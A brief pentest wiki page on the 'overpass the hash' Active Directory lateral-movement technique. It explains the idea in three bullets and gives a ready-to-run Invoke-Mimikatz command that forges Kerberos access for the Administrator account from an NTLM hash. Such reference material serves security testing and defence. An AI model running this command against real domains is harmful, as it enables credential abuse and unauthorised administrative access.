> For the complete documentation index, see [llms.txt](https://wiki.bufu-sec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.bufu-sec.com/active-directory/lateral_movement/overpass_the_hash.md).

# Overpass the Hash

## General

* Similar to pass-the-hash
* Creates valid kerberos ticket from NTLM hash of user
* Able to access any domain service and not just services that support NTLM authentication like in PTH attacks

## Exploitation with Invoke-Mimikatz

```powershell
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:lab.local /ntlm:<HASH> /run:powershell.exe"'
```